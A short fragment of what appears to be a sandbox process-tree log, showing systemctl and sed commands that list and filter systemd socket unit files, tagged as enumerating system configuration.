/bin/sedsed -ne "s/\\.socket\\s*[a-z]*\\s*\$/.socket/p"1⤵PID:390
-
/bin/systemctlsystemctl list-unit-files --full "--type=socket"1⤵
- Enumerates kernel/hardware configuration
PID:409
-
/bin/sedsed -ne "s/\\.socket\\s*[a-z]*\\s*\$/.socket/p"1⤵PID:410